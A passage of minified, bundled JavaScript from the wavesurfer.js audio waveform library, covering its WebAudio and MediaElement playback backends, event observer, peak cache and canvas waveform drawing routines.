r.d(t,"a",t),t},r.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r.p="",r(r.s=17)}([function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=r(16);Object.defineProperty(t,"ajax",{enumerable:!0,get:function(){return p(n).default}});var i=r(15);Object.defineProperty(t,"getId",{enumerable:!0,get:function(){return p(i).default}});var a=r(14);Object.defineProperty(t,"max",{enumerable:!0,get:function(){return p(a).default}});var s=r(13);Object.defineProperty(t,"min",{enumerable:!0,get:function(){return p(s).default}});var o=r(3);Object.defineProperty(t,"Observer",{enumerable:!0,get:function(){return p(o).default}});var u=r(12);Object.defineProperty(t,"extend",{enumerable:!0,get:function(){return p(u).default}});var l=r(11);Object.defineProperty(t,"style",{enumerable:!0,get:function(){return p(l).default}});var c=r(2);Object.defineProperty(t,"requestAnimationFrame",{enumerable:!0,get:function(){return p(c).default}});var h=r(10);Object.defineProperty(t,"frame",{enumerable:!0,get:function(){return p(h).default}});var f=r(9);Object.defineProperty(t,"debounce",{enumerable:!0,get:function(){return p(f).default}});var d=r(8);function p(e){return e&&e.__esModule?e:{default:e}}Object.defineProperty(t,"preventClick",{enumerable:!0,get:function(){return p(d).default}})},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}return function(t,r,n){return r&&e(t.prototype,r),n&&e(t,n),t}}(),i=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(r(0));function a(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var s="playing",o="paused",u="finished",l=function(e){function t(e){var r,n;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var i=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));return i.audioContext=null,i.offlineAudioContext=null,i.stateBehaviors=(a(r={},s,{init:function(){this.addOnAudioProcess()},getPlayedPercents:function(){var e=this.getDuration();return this.getCurrentTime()/e||0},getCurrentTime:function(){return this.startPosition+this.getPlayedTime()}}),a(r,o,{init:function(){this.removeOnAudioProcess()},getPlayedPercents:function(){var e=this.getDuration();return this.getCurrentTime()/e||0},getCurrentTime:function(){return this.startPosition}}),a(r,u,{init:function(){this.removeOnAudioProcess(),this.fireEvent("finish")},getPlayedPercents:function(){return 1},getCurrentTime:function(){return this.getDuration()}}),r),i.params=e,i.ac=e.audioContext||i.getAudioContext(),i.lastPlay=i.ac.currentTime,i.startPosition=0,i.scheduledPause=null,i.states=(a(n={},s,Object.create(i.stateBehaviors[s])),a(n,o,Object.create(i.stateBehaviors[o])),a(n,u,Object.create(i.stateBehaviors[u])),n),i.analyser=null,i.buffer=null,i.filters=[],i.gainNode=null,i.mergedPeaks=null,i.offlineAc=null,i.peaks=null,i.playbackRate=1,i.analyser=null,i.scriptNode=null,i.source=null,i.splitPeaks=[],i.state=null,i.explicitDuration=null,i}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,i.Observer),n(t,[{key:"supportsWebAudio",value:function(){return!(!window.AudioContext&&!window.webkitAudioContext)}},{key:"getAudioContext",value:function(){return window.WaveSurferAudioContext||(window.WaveSurferAudioContext=new(window.AudioContext||window.webkitAudioContext)),window.WaveSurferAudioContext}},{key:"getOfflineAudioContext",value:function(e){return window.WaveSurferOfflineAudioContext||(window.WaveSurferOfflineAudioContext=new(window.OfflineAudioContext||window.webkitOfflineAudioContext)(1,2,e)),window.WaveSurferOfflineAudioContext}}]),n(t,[{key:"init",value:function(){this.createVolumeNode(),this.createScriptNode(),this.createAnalyserNode(),this.setState(o),this.setPlaybackRate(this.params.audioRate),this.setLength(0)}},{key:"disconnectFilters",value:function(){this.filters&&(this.filters.forEach(function(e){e&&e.disconnect()}),this.filters=null,this.analyser.connect(this.gainNode))}},{key:"setState",value:function(e){this.state!==this.states[e]&&(this.state=this.states[e],this.state.init.call(this))}},{key:"setFilter",value:function(){for(var e=arguments.length,t=Array(e),r=0;r<e;r++)t[r]=arguments[r];this.setFilters(t)}},{key:"setFilters",value:function(e){this.disconnectFilters(),e&&e.length&&(this.filters=e,this.analyser.disconnect(),e.reduce(function(e,t){return e.connect(t),t},this.analyser).connect(this.gainNode))}},{key:"createScriptNode",value:function(){this.params.audioScriptProcessor?this.scriptNode=this.params.audioScriptProcessor:this.ac.createScriptProcessor?this.scriptNode=this.ac.createScriptProcessor(t.scriptBufferSize):this.scriptNode=this.ac.createJavaScriptNode(t.scriptBufferSize),this.scriptNode.connect(this.ac.destination)}},{key:"addOnAudioProcess",value:function(){var e=this;this.scriptNode.onaudioprocess=function(){var t=e.getCurrentTime();t>=e.getDuration()?(e.setState(u),e.fireEvent("pause")):t>=e.scheduledPause?e.pause():e.state===e.states[s]&&e.fireEvent("audioprocess",t)}}},{key:"removeOnAudioProcess",value:function(){this.scriptNode.onaudioprocess=null}},{key:"createAnalyserNode",value:function(){this.analyser=this.ac.createAnalyser(),this.analyser.connect(this.gainNode)}},{key:"createVolumeNode",value:function(){this.ac.createGain?this.gainNode=this.ac.createGain():this.gainNode=this.ac.createGainNode(),this.gainNode.connect(this.ac.destination)}},{key:"setSinkId",value:function(e){if(e){var t=new window.Audio;if(!t.setSinkId)return Promise.reject(new Error("setSinkId is not supported in your browser"));t.autoplay=!0;var r=this.ac.createMediaStreamDestination();return this.gainNode.disconnect(),this.gainNode.connect(r),t.src=URL.createObjectURL(r.stream),t.setSinkId(e)}return Promise.reject(new Error("Invalid deviceId: "+e))}},{key:"setVolume",value:function(e){this.gainNode.gain.setValueAtTime(e,this.ac.currentTime)}},{key:"getVolume",value:function(){return this.gainNode.gain.value}},{key:"decodeArrayBuffer",value:function(e,t,r){this.offlineAc||(this.offlineAc=this.getOfflineAudioContext(this.ac?this.ac.sampleRate:44100)),this.offlineAc.decodeAudioData(e,function(e){return t(e)},r)}},{key:"setPeaks",value:function(e,t){this.explicitDuration=t,this.peaks=e}},{key:"setLength",value:function(e){if(!this.mergedPeaks||e!=2*this.mergedPeaks.length-1+2){this.splitPeaks=[],this.mergedPeaks=[];var t=this.buffer?this.buffer.numberOfChannels:1,r=void 0;for(r=0;r<t;r++)this.splitPeaks[r]=[],this.splitPeaks[r][2*(e-1)]=0,this.splitPeaks[r][2*(e-1)+1]=0;this.mergedPeaks[2*(e-1)]=0,this.mergedPeaks[2*(e-1)+1]=0}}},{key:"getPeaks",value:function(e,t,r){if(this.peaks)return this.peaks;if(t=t||0,r=r||e-1,this.setLength(e),!this.buffer.length){var n=this.createBuffer(1,4096,this.sampleRate);this.buffer=n.buffer}var i=this.buffer.length/e,a=~~(i/10)||1,s=this.buffer.numberOfChannels,o=void 0;for(o=0;o<s;o++){var u=this.splitPeaks[o],l=this.buffer.getChannelData(o),c=void 0;for(c=t;c<=r;c++){var h=~~(c*i),f=~~(h+i),d=0,p=0,v=void 0;for(v=h;v<f;v+=a){var y=l[v];y>p&&(p=y),y<d&&(d=y)}u[2*c]=p,u[2*c+1]=d,(0==o||p>this.mergedPeaks[2*c])&&(this.mergedPeaks[2*c]=p),(0==o||d<this.mergedPeaks[2*c+1])&&(this.mergedPeaks[2*c+1]=d)}}return this.params.splitChannels?this.splitPeaks:this.mergedPeaks}},{key:"getPlayedPercents",value:function(){return this.state.getPlayedPercents.call(this)}},{key:"disconnectSource",value:function(){this.source&&this.source.disconnect()}},{key:"destroy",value:function(){this.isPaused()||this.pause(),this.unAll(),this.buffer=null,this.disconnectFilters(),this.disconnectSource(),this.gainNode.disconnect(),this.scriptNode.disconnect(),this.analyser.disconnect(),this.params.closeAudioContext&&("function"==typeof this.ac.close&&"closed"!=this.ac.state&&this.ac.close(),this.ac=null,this.params.audioContext?this.params.audioContext=null:window.WaveSurferAudioContext=null,window.WaveSurferOfflineAudioContext=null)}},{key:"load",value:function(e){this.startPosition=0,this.lastPlay=this.ac.currentTime,this.buffer=e,this.createSource()}},{key:"createSource",value:function(){this.disconnectSource(),this.source=this.ac.createBufferSource(),this.source.start=this.source.start||this.source.noteGrainOn,this.source.stop=this.source.stop||this.source.noteOff,this.source.playbackRate.setValueAtTime(this.playbackRate,this.ac.currentTime),this.source.buffer=this.buffer,this.source.connect(this.analyser)}},{key:"isPaused",value:function(){return this.state!==this.states[s]}},{key:"getDuration",value:function(){return this.buffer?this.buffer.duration:this.explicitDuration?this.explicitDuration:0}},{key:"seekTo",value:function(e,t){if(this.buffer)return this.scheduledPause=null,null==e&&(e=this.getCurrentTime())>=this.getDuration()&&(e=0),null==t&&(t=this.getDuration()),this.startPosition=e,this.lastPlay=this.ac.currentTime,this.state===this.states[u]&&this.setState(o),{start:e,end:t}}},{key:"getPlayedTime",value:function(){return(this.ac.currentTime-this.lastPlay)*this.playbackRate}},{key:"play",value:function(e,t){if(this.buffer){this.createSource();var r=this.seekTo(e,t);e=r.start,t=r.end,this.scheduledPause=t,this.source.start(0,e,t-e),"suspended"==this.ac.state&&this.ac.resume&&this.ac.resume(),this.setState(s),this.fireEvent("play")}}},{key:"pause",value:function(){this.scheduledPause=null,this.startPosition+=this.getPlayedTime(),this.source&&this.source.stop(0),this.setState(o),this.fireEvent("pause")}},{key:"getCurrentTime",value:function(){return this.state.getCurrentTime.call(this)}},{key:"getPlaybackRate",value:function(){return this.playbackRate}},{key:"setPlaybackRate",value:function(e){e=e||1,this.isPaused()?this.playbackRate=e:(this.pause(),this.playbackRate=e,this.play())}}]),t}();l.scriptBufferSize=256,t.default=l,e.exports=t.default},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=(window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(e,t){return setTimeout(e,1e3/60)}).bind(window),e.exports=t.default},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}return function(t,r,n){return r&&e(t.prototype,r),n&&e(t,n),t}}();var i=function(){function e(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.handlers=null}return n(e,[{key:"on",value:function(e,t){var r=this;this.handlers||(this.handlers={});var n=this.handlers[e];return n||(n=this.handlers[e]=[]),n.push(t),{name:e,callback:t,un:function(e,t){return r.un(e,t)}}}},{key:"un",value:function(e,t){if(this.handlers){var r=this.handlers[e],n=void 0;if(r)if(t)for(n=r.length-1;n>=0;n--)r[n]==t&&r.splice(n,1);else r.length=0}}},{key:"unAll",value:function(){this.handlers=null}},{key:"once",value:function(e,t){var r=this;return this.on(e,function n(){for(var i=arguments.length,a=Array(i),s=0;s<i;s++)a[s]=arguments[s];t.apply(r,a),setTimeout(function(){r.un(e,n)},0)})}},{key:"fireEvent",value:function(e){for(var t=arguments.length,r=Array(t>1?t-1:0),n=1;n<t;n++)r[n-1]=arguments[n];if(this.handlers){var i=this.handlers[e];i&&i.forEach(function(e){e.apply(void 0,r)})}}}]),e}();t.default=i,e.exports=t.default},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}return function(t,r,n){return r&&e(t.prototype,r),n&&e(t,n),t}}();var i=function(){function e(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.clearPeakCache()}return n(e,[{key:"clearPeakCache",value:function(){this.peakCacheRanges=[],this.peakCacheLength=-1}},{key:"addRangeToPeakCache",value:function(e,t,r){e!=this.peakCacheLength&&(this.clearPeakCache(),this.peakCacheLength=e);for(var n=[],i=0;i<this.peakCacheRanges.length&&this.peakCacheRanges[i]<t;)i++;for(i%2==0&&n.push(t);i<this.peakCacheRanges.length&&this.peakCacheRanges[i]<=r;)n.push(this.peakCacheRanges[i]),i++;i%2==0&&n.push(r),n=n.filter(function(e,t,r){return 0==t?e!=r[t+1]:t==r.length-1?e!=r[t-1]:e!=r[t-1]&&e!=r[t+1]}),this.peakCacheRanges=this.peakCacheRanges.concat(n),this.peakCacheRanges=this.peakCacheRanges.sort(function(e,t){return e-t}).filter(function(e,t,r){return 0==t?e!=r[t+1]:t==r.length-1?e!=r[t-1]:e!=r[t-1]&&e!=r[t+1]});var a=[];for(i=0;i<n.length;i+=2)a.push([n[i],n[i+1]]);return a}},{key:"getCacheRanges",value:function(){var e=[],t=void 0;for(t=0;t<this.peakCacheRanges.length;t+=2)e.push([this.peakCacheRanges[t],this.peakCacheRanges[t+1]]);return e}}]),e}();t.default=i,e.exports=t.default},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n,i=function(){function e(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}return function(t,r,n){return r&&e(t.prototype,r),n&&e(t,n),t}}(),a=r(1),s=(n=a)&&n.__esModule?n:{default:n};!function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);t.default=e}(r(0));var o=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var r=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return r.params=e,r.media={currentTime:0,duration:0,paused:!0,playbackRate:1,play:function(){},pause:function(){},volume:0},r.mediaType=e.mediaType.toLowerCase(),r.elementPosition=e.elementPosition,r.peaks=null,r.playbackRate=1,r.volume=1,r.buffer=null,r.onPlayEnd=null,r}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,s.default),i(t,[{key:"init",value:function(){this.setPlaybackRate(this.params.audioRate),this.createTimer()}},{key:"createTimer",value:function(){var e=this;this.on("play",function t(){e.isPaused()||(e.fireEvent("audioprocess",e.getCurrentTime()),(window.requestAnimationFrame||window.webkitRequestAnimationFrame)(t))}),this.on("pause",function(){e.fireEvent("audioprocess",e.getCurrentTime())})}},{key:"load",value:function(e,t,r,n){var i=document.createElement(this.mediaType);i.controls=this.params.mediaControls,i.autoplay=this.params.autoplay||!1,i.preload=null==n?"auto":n,i.src=e,i.style.width="100%";var a=t.querySelector(this.mediaType);a&&t.removeChild(a),t.appendChild(i),this._load(i,r)}},{key:"loadElt",value:function(e,t){e.controls=this.params.mediaControls,e.autoplay=this.params.autoplay||!1,this._load(e,t)}},{key:"_load",value:function(e,t){var r=this;"function"==typeof e.load&&e.load(),e.addEventListener("error",function(){r.fireEvent("error","Error loading media element")}),e.addEventListener("canplay",function(){r.fireEvent("canplay")}),e.addEventListener("ended",function(){r.fireEvent("finish")}),e.addEventListener("play",function(){r.fireEvent("play")}),e.addEventListener("pause",function(){r.fireEvent("pause")}),this.media=e,this.peaks=t,this.onPlayEnd=null,this.buffer=null,this.setPlaybackRate(this.playbackRate),this.setVolume(this.volume)}},{key:"isPaused",value:function(){return!this.media||this.media.paused}},{key:"getDuration",value:function(){if(this.explicitDuration)return this.explicitDuration;var e=(this.buffer||this.media).duration;return e>=1/0&&(e=this.media.seekable.end(0)),e}},{key:"getCurrentTime",value:function(){return this.media&&this.media.currentTime}},{key:"getPlayedPercents",value:function(){return this.getCurrentTime()/this.getDuration()||0}},{key:"getPlaybackRate",value:function(){return this.playbackRate||this.media.playbackRate}},{key:"setPlaybackRate",value:function(e){this.playbackRate=e||1,this.media.playbackRate=this.playbackRate}},{key:"seekTo",value:function(e){null!=e&&(this.media.currentTime=e),this.clearPlayEnd()}},{key:"play",value:function(e,t){this.seekTo(e);var r=this.media.play();return t&&this.setPlayEnd(t),r}},{key:"pause",value:function(){var e=void 0;return this.media&&(e=this.media.pause()),this.clearPlayEnd(),e}},{key:"setPlayEnd",value:function(e){var t=this;this._onPlayEnd=function(r){r>=e&&(t.pause(),t.seekTo(e))},this.on("audioprocess",this._onPlayEnd)}},{key:"clearPlayEnd",value:function(){this._onPlayEnd&&(this.un("audioprocess",this._onPlayEnd),this._onPlayEnd=null)}},{key:"getPeaks",value:function(e,r,n){return this.buffer?function e(t,r,n){null===t&&(t=Function.prototype);var i=Object.getOwnPropertyDescriptor(t,r);if(void 0===i){var a=Object.getPrototypeOf(t);return null===a?void 0:e(a,r,n)}if("value"in i)return i.value;var s=i.get;return void 0!==s?s.call(n):void 0}(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"getPeaks",this).call(this,e,r,n):this.peaks||[]}},{key:"setSinkId",value:function(e){return e?this.media.setSinkId?this.media.setSinkId(e):Promise.reject(new Error("setSinkId is not supported in your browser")):Promise.reject(new Error("Invalid deviceId: "+e))}},{key:"getVolume",value:function(){return this.volume||this.media.volume}},{key:"setVolume",value:function(e){this.volume=e,this.media.volume=this.volume}},{key:"destroy",value:function(){this.pause(),this.unAll(),this.params.removeMediaElementOnDestroy&&this.media&&this.media.parentNode&&this.media.parentNode.removeChild(this.media),this.media=null}}]),t}();t.default=o,e.exports=t.default},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}return function(t,r,n){return r&&e(t.prototype,r),n&&e(t,n),t}}(),i=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(r(0));var a=function(e){function t(e,r){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));return n.container=e,n.params=r,n.width=0,n.height=r.height*n.params.pixelRatio,n.lastPos=0,n.wrapper=null,n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,i.Observer),n(t,[{key:"style",value:function(e,t){return i.style(e,t)}},{key:"createWrapper",value:function(){this.wrapper=this.container.appendChild(document.createElement("wave")),this.style(this.wrapper,{display:"block",position:"relative",userSelect:"none",webkitUserSelect:"none",height:this.params.height+"px"}),(this.params.fillParent||this.params.scrollParent)&&this.style(this.wrapper,{width:"100%",overflowX:this.params.hideScrollbar?"hidden":"auto",overflowY:"hidden"}),this.setupWrapperEvents()}},{key:"handleEvent",value:function(e,t){!t&&e.preventDefault();var r=e.targetTouches?e.targetTouches[0].clientX:e.clientX,n=this.wrapper.getBoundingClientRect(),i=this.width,a=this.getWidth(),s=void 0;return!this.params.fillParent&&i<a?(s=(r-n.left)*(this.params.pixelRatio/i)||0)>1&&(s=1):s=(r-n.left+this.wrapper.scrollLeft)/this.wrapper.scrollWidth||0,s}},{key:"setupWrapperEvents",value:function(){var e=this;this.wrapper.addEventListener("click",function(t){var r=e.wrapper.offsetHeight-e.wrapper.clientHeight;if(0!=r){var n=e.wrapper.getBoundingClientRect();if(t.clientY>=n.bottom-r)return}e.params.interact&&e.fireEvent("click",t,e.handleEvent(t))}),this.wrapper.addEventListener("scroll",function(t){return e.fireEvent("scroll",t)})}},{key:"drawPeaks",value:function(e,t,r,n){this.setWidth(t)||this.clearWave(),this.params.barWidth?this.drawBars(e,0,r,n):this.drawWave(e,0,r,n)}},{key:"resetScroll",value:function(){null!==this.wrapper&&(this.wrapper.scrollLeft=0)}},{key:"recenter",value:function(e){var t=this.wrapper.scrollWidth*e;this.recenterOnPosition(t,!0)}},{key:"recenterOnPosition",value:function(e,t){var r=this.wrapper.scrollLeft,n=~~(this.wrapper.clientWidth/2),i=this.wrapper.scrollWidth-this.wrapper.clientWidth,a=e-n,s=a-r;if(0!=i){if(!t&&-n<=s&&s<n){a=r+(s=Math.max(-5,Math.min(5,s)))}(a=Math.max(0,Math.min(i,a)))!=r&&(this.wrapper.scrollLeft=a)}}},{key:"getScrollX",value:function(){var e=this.params.pixelRatio,t=Math.round(this.wrapper.scrollLeft*e);if(this.params.scrollParent){var r=~~(this.wrapper.scrollWidth*e-this.getWidth());t=Math.min(r,Math.max(0,t))}return t}},{key:"getWidth",value:function(){return Math.round(this.container.clientWidth*this.params.pixelRatio)}},{key:"setWidth",value:function(e){return this.width!=e&&(this.width=e,this.params.fillParent||this.params.scrollParent?this.style(this.wrapper,{width:""}):this.style(this.wrapper,{width:~~(this.width/this.params.pixelRatio)+"px"}),this.updateSize(),!0)}},{key:"setHeight",value:function(e){return e!=this.height&&(this.height=e,this.style(this.wrapper,{height:~~(this.height/this.params.pixelRatio)+"px"}),this.updateSize(),!0)}},{key:"progress",value:function(e){var t=1/this.params.pixelRatio,r=Math.round(e*this.width)*t;if(r<this.lastPos||r-this.lastPos>=t){if(this.lastPos=r,this.params.scrollParent&&this.params.autoCenter){var n=~~(this.wrapper.scrollWidth*e);this.recenterOnPosition(n)}this.updateProgress(r)}}},{key:"destroy",value:function(){this.unAll(),this.wrapper&&(this.wrapper.parentNode==this.container&&this.container.removeChild(this.wrapper),this.wrapper=null)}},{key:"updateCursor",value:function(){}},{key:"updateSize",value:function(){}},{key:"drawBars",value:function(e,t,r,n){}},{key:"drawWave",value:function(e,t,r,n){}},{key:"clearWave",value:function(){}},{key:"updateProgress",value:function(e){}}]),t}();t.default=a,e.exports=t.default},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n,i=function(){function e(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}return function(t,r,n){return r&&e(t.prototype,r),n&&e(t,n),t}}(),a=r(6),s=(n=a)&&n.__esModule?n:{default:n},o=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(r(0));var u=function(e){function t(e,r){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e,r));return n.maxCanvasWidth=r.maxCanvasWidth,n.maxCanvasElementWidth=Math.round(r.maxCanvasWidth/r.pixelRatio),n.hasProgressCanvas=r.waveColor!=r.progressColor,n.halfPixel=.5/r.pixelRatio,n.canvases=[],n.progressWave=null,n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,s.default),i(t,[{key:"init",value:function(){this.createWrapper(),this.createElements()}},{key:"createElements",value:function(){this.progressWave=this.wrapper.appendChild(this.style(document.createElement("wave"),{position:"absolute",zIndex:3,left:0,top:0,bottom:0,overflow:"hidden",width:"0",display:"none",boxSizing:"border-box",borderRightStyle:"solid",pointerEvents:"none"})),this.addCanvas(),this.updateCursor()}},{key:"updateCursor",value:function(){this.style(this.progressWave,{borderRightWidth:this.params.cursorWidth+"px",borderRightColor:this.params.cursorColor})}},{key:"updateSize",value:function(){for(var e=this,t=Math.round(this.width/this.params.pixelRatio),r=Math.ceil(t/this.maxCanvasElementWidth);this.canvases.length<r;)this.addCanvas();for(;this.canvases.length>r;)this.removeCanvas();this.canvases.forEach(function(t,r){var n=e.maxCanvasWidth+2*Math.ceil(e.params.pixelRatio/2);r==e.canvases.length-1&&(n=e.width-e.maxCanvasWidth*(e.canvases.length-1)),e.updateDimensions(t,n,e.height),e.clearWaveForEntry(t)})}},{key:"addCanvas",value:function(){var e={},t=this.maxCanvasElementWidth*this.canvases.length;e.wave=this.wrapper.appendChild(this.style(document.createElement("canvas"),{position:"absolute",zIndex:2,left:t+"px",top:0,bottom:0,height:"100%",pointerEvents:"none"})),e.waveCtx=e.wave.getContext("2d"),this.hasProgressCanvas&&(e.progress=this.progressWave.appendChild(this.style(document.createElement("canvas"),{position:"absolute",left:t+"px",top:0,bottom:0,height:"100%"})),e.progressCtx=e.progress.getContext("2d")),this.canvases.push(e)}},{key:"removeCanvas",value:function(){var e=this.canvases.pop();e.wave.parentElement.removeChild(e.wave),this.hasProgressCanvas&&e.progress.parentElement.removeChild(e.progress)}},{key:"updateDimensions",value:function(e,t,r){var n=Math.round(t/this.params.pixelRatio),i=Math.round(this.width/this.params.pixelRatio);e.start=e.waveCtx.canvas.offsetLeft/i||0,e.end=e.start+n/i,e.waveCtx.canvas.width=t,e.waveCtx.canvas.height=r,this.style(e.waveCtx.canvas,{width:n+"px"}),this.style(this.progressWave,{display:"block"}),this.hasProgressCanvas&&(e.progressCtx.canvas.width=t,e.progressCtx.canvas.height=r,this.style(e.progressCtx.canvas,{width:n+"px"}))}},{key:"clearWave",value:function(){var e=this;this.canvases.forEach(function(t){return e.clearWaveForEntry(t)})}},{key:"clearWaveForEntry",value:function(e){e.waveCtx.clearRect(0,0,e.waveCtx.canvas.width,e.waveCtx.canvas.height),this.hasProgressCanvas&&e.progressCtx.clearRect(0,0,e.progressCtx.canvas.width,e.progressCtx.canvas.height)}},{key:"drawBars",value:function(e,t,r,n){var i=this;return this.prepareDraw(e,t,r,n,function(e){var t=e.absmax,a=e.hasMinVals,s=(e.height,e.offsetY),o=e.halfH,u=e.peaks;if(void 0!==r){var l=a?2:1,c=u.length/l,h=i.params.barWidth*i.params.pixelRatio,f=h+(null===i.params.barGap?Math.max(i.params.pixelRatio,~~(h/2)):Math.max(i.params.pixelRatio,i.params.barGap*i.params.pixelRatio)),d=c/i.width,p=n,v=void 0;for(v=r;v<p;v+=f){var y=u[Math.floor(v*d*l)]||0,m=Math.round(y/t*o);i.fillRect(v+i.halfPixel,o-m+s,h+i.halfPixel,2*m)}}})}},{key:"drawWave",value:function(e,t,r,n){var i=this;return this.prepareDraw(e,t,r,n,function(e){var t=e.absmax,a=e.hasMinVals,s=(e.height,e.offsetY),o=e.halfH,u=e.peaks;if(!a){var l=[],c=u.length,h=void 0;for(h=0;h<c;h++)l[2*h]=u[h],l[2*h+1]=-u[h];u=l}void 0!==r&&i.drawLine(u,t,o,s,r,n),i.fillRect(0,o+s-i.halfPixel,i.width,i.halfPixel)})}},{key:"drawLine",value:function(e,t,r,n,i,a){var s=this;this.canvases.forEach(function(o){s.setFillStyles(o),s.drawLineToContext(o,o.waveCtx,e,t,r,n,i,a),s.drawLineToContext(o,o.progressCtx,e,t,r,n,i,a)})}},{key:"drawLineToContext",value:function(e,t,r,n,i,a,s,o){if(t){var u=r.length/2,l=this.params.fillParent&&this.width!=u?this.width/u:1,c=Math.round(u*e.start),h=Math.round(u*e.end)+1;if(!(c>o||h<s)){var f=Math.min(c,s),d=Math.max(h,o),p=void 0,v=void 0;for(t.beginPath(),t.moveTo((f-c)*l+this.halfPixel,i+a),p=f;p<d;p++){var y=r[2*p]||0,m=Math.round(y/n*i);t.lineTo((p-c)*l+this.halfPixel,i-m+a)}for(v=d-1;v>=f;v--){var k=r[2*v+1]||0,g=Math.round(k/n*i);t.lineTo((v-c)*l+this.halfPixel,i-g+a)}t.closePath(),t.fill()}}}},{key:"fillRect",value:function(e,t,r,n){var i=Math.floor(e/this.maxCanvasWidth),a=Math.min(Math.ceil((e+r)/this.maxCanvasWidth)+1,this.canvases.length),s=void 0;for(s=i;s<a;s++){var o=this.canvases[s],u=s*this.maxCanvasWidth,l={x1:Math.max(e,s*this.maxCanvasWidth),y1:t,x2:Math.min(e+r,s*this.maxCanvasWidth+o.waveCtx.canvas.width),y2:t+n};l.x1<l.x2&&(this.setFillStyles(o),this.fillRectToContext(o.waveCtx,l.x1-u,l.y1,l.x2-l.x1,l.y2-l.y1),this.fillRectToContext(o.progressCtx,l.x1-u,l.y1,l.x2-l.x1,l.y2-l.y1))}}},{key:"prepareDraw",value:function(e,t,r,n,i){var a=this;return o.frame(function(){if(e[0]instanceof Array){var s=e;if(a.params.splitChannels)return a.setHeight(s.length*a.params.height*a.params.pixelRatio),s.forEach(function(e,t){return a.prepareDraw(e,t,r,n,i)});e=s[0]}var 